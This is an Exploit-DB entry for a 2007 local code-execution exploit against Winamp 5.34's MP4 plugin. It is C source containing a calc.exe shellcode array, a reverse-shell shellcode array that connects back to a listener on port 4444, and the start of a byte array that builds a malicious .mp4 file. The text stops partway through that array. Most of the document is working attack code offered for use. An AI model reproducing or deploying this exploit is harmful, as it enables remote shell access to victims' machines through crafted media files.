Exploit-DB #3823
Description: Winamp 5.34 - '.mp4' Code Execution
Type: local
Platform: windows
Date: 2007-04-30
Author: Marsu

Exploit:
/****************************************************************************\
*                                                                            *
*                 Winamp <= 5.34 .MP4 File Code Execution                    *
*                                                                            *
*                                                                            *
* Winamp MP4's plugin fails to handle exceptional conditions, which can lead *
* to code execution.                                                         *
*                                                                            *
* However exploitation is hard, firstly because of the return address. This  *
* code exploits a call [eax], and it might be complicated to find a correct  *
* return address. Moreover, the bug doesn't always appear. I think one       *
* attempt out of 2 will success.                                             *
*                                                                            *
* I'm still working on it...                                                 *
*                                                                            *
* Tested against Win XP SP2 FR.                                              *
* Have Fun!                                                                  *
*                                                                            *
* Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>                 *
\****************************************************************************/

#include "stdio.h"
#include "stdlib.h"

/* win32_exec -  EXITFUNC=thread CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char CalcShellcode[] =
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x19\x25\xc7\x83\xeb\xfc\xe2\xf4\x24\xf1\x61\xc7\xd8\x19\xae\x82"
"\xe4\x92\x59\xc2\xa0\x18\xca\x4c\x97\x01\xae\x98\xf8\x18\xce\x8e"
"\x53\x2d\xae\xc6\x36\x28\xe5\x5e\x74\x9d\xe5\xb3\xdf\xd8\xef\xca"
"\xd9\xdb\xce\x33\xe3\x4d\x01\xc3\xad\xfc\xae\x98\xfc\x18\xce\xa1"
"\x53\x15\x6e\x4c\x87\x05\x24\x2c\x53\x05\xae\xc6\x33\x90\x79\xe3"
"\xdc\xda\x14\x07\xbc\x92\x65\xf7\x5d\xd9\x5d\xcb\x53\x59\x29\x4c"
"\xa8\x05\x88\x4c\xb0\x11\xce\xce\x53\x99\x95\xc7\xd8\x19\xae\xaf"
"\xe4\x46\x14\x31\xb8\x4f\xac\x3f\x5b\xd9\x5e\x97\xb0\xf6\xeb\x27"
"\xb8\x71\xbd\x39\x52\x17\x72\x38\x3f\x7a\x44\xab\xbb\x37\x40\xbf"
"\xbd\x19\x25\xc7";

/* win32_reverse -  EXITFUNC=thread LHOST=127.0.0.1 LPORT=4444 Size=312 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char ConnectBackShellcode[] =
"\x31\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x90"
"\xfa\x88\xb7\x83\xeb\xfc\xe2\xf4\x6c\x90\x63\xfa\x78\x03\x77\x48"
"\x6f\x9a\x03\xdb\xb4\xde\x03\xf2\xac\x71\xf4\xb2\xe8\xfb\x67\x3c"
"\xdf\xe2\x03\xe8\xb0\xfb\x63\xfe\x1b\xce\x03\xb6\x7e\xcb\x48\x2e"
"\x3c\x7e\x48\xc3\x97\x3b\x42\xba\x91\x38\x63\x43\xab\xae\xac\x9f"
"\xe5\x1f\x03\xe8\xb4\xfb\x63\xd1\x1b\xf6\xc3\x3c\xcf\xe6\x89\x5c"
"\x93\xd6\x03\x3e\xfc\xde\x94\xd6\x53\xcb\x53\xd3\x1b\xb9\xb8\x3c"
"\xd0\xf6\x03\xc7\x8c\x57\x03\xf7\x98\xa4\xe0\x39\xde\xf4\x64\xe7"
"\x6f\x2c\xee\xe4\xf6\x92\xbb\x85\xf8\x8d\xfb\x85\xcf\xae\x77\x67"
"\xf8\x31\x65\x4b\xab\xaa\x77\x61\xcf\x73\x6d\xd1\x11\x17\x80\xb5"
"\xc5\x90\x8a\x48\x40\x92\x51\xbe\x65\x57\xdf\x48\x46\xa9\xdb\xe4"
"\xc3\xb9\xdb\xf4\xc3\x05\x58\xdf\xef\xfa\x88\xb6\xf6\x92\x99\xeb"
"\xf6\xa9\x01\x56\x05\x92\x64\x4e\x3a\x9a\xdf\x48\x46\x90\x98\xe6"
"\xc5\x05\x58\xd1\xfa\x9e\xee\xdf\xf3\x97\xe2\xe7\xc9\xd3\x44\x3e"
"\x77\x90\xcc\x3e\x72\xcb\x48\x44\x3a\x6f\x01\x4a\x6e\xb8\xa5\x49"
"\xd2\xd6\x05\xcd\xa8\x51\x23\x1c\xf8\x88\x76\x04\x86\x05\xfd\x9f"
"\x6f\x2c\xd3\xe0\xc2\xab\xd9\xe6\xfa\xfb\xd9\xe6\xc5\xab\x77\x67"
"\xf8\x57\x51\xb2\x5e\xa9\x77\x61\xfa\x05\x77\x80\x6f\x2a\xe0\x50"
"\xe9\x3c\xf1\x48\xe5\xfe\x77\x61\x6f\x8d\x74\x48\x40\x92\x67\x79"
"\x70\x9a\xdb\x48\x46\x05\x58\xb7"
;

char mp4_file_part1[] =
"\x00\x00\x00\x18\x66\x74\x79\x70\x6d\x70\x34\x32\x00\x00\x00\x01"
"\x6d\x70\x34\x32\x6d\x70\x34\x31\x00\x00\x40\x6a\x6d\x6f\x6f\x76"
"\x00\x00\x00\x6c\x6d\x76\x68\x64\x00\x00\x00\x00\xc0\xc5\xb8\xe2"
"\xc0\xc5\xb8\xe2\x00\x00\x03\xe8\x00\x00\x77\xec\x00\x01\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x0e\xd5"
"\x74\x72\x61\x6b\x00\x00\x00\x5c\x74\x6b\x68\x64\x00\x00\x00\x01"
"\xc0\xc5\xb8\xe2\xc0\xc5\xb8\xe2\x00\x00\x00\x01\x00\x00\x00\x00"
"\x00\x00\x77\xec\x00\x00\x00\x00\x00\x00\x00\x00\xc6\x00\x00\x00"
"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x40\x00\x00\x00\x00\xa0\x00\x00\x00\x78\x00\x00"
"\x00\x00\x00\x24\x65\x64\x74\x73\x00\x00\x00\x1c\x65\x6c\x73\x74"
"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x77\xec\x00\x00\x00\x00"
"\x00\x01\x00\x00\x00\x00\x0e\x4d\x6d\x64\x69\x61\x00\x00\x00\x20"
"\x6d\x64\x68\x64\x00\x00\x00\x00\xc0\xc5\xb8\xe2\xc0\xc5\xb8\xe2"
"\x00\x00\x03\xe8\x00\x00\x77\xec\x15\xc7\x00\x00\x00\x00\x00\x3a"
"\x68\x64\x6c\x72\x00\x00\x00\x00\x00\x00\x00\x00\x76\x69\x64\x65"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\x70\x70\x6c"
"\x65\x20\x56\x69\x64\x65\x6f\x20\x4d\x65\x64\x69\x61\x20\x48\x61"
"\x6e\x64\x6c\x65\x72\x00\x00\x00\x0d\xeb\x6d\x69\x6e\x66\x00\x00"
"\x00\x14\x76\x6d\x68\x64\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x24\x64\x69\x6e\x66\x00\x00\x00\x1c\x64\x72"
"\x65\x66\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x75\x72"
"\x6c\x20\x00\x00\x00\x01\x00\x00\x0d\xab\x73\x74\x62\x6c\x00\x00"
"\x00\xab\x73\x74\x73\x64\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
"\x00\x9b\x6d\x70\x34\x76\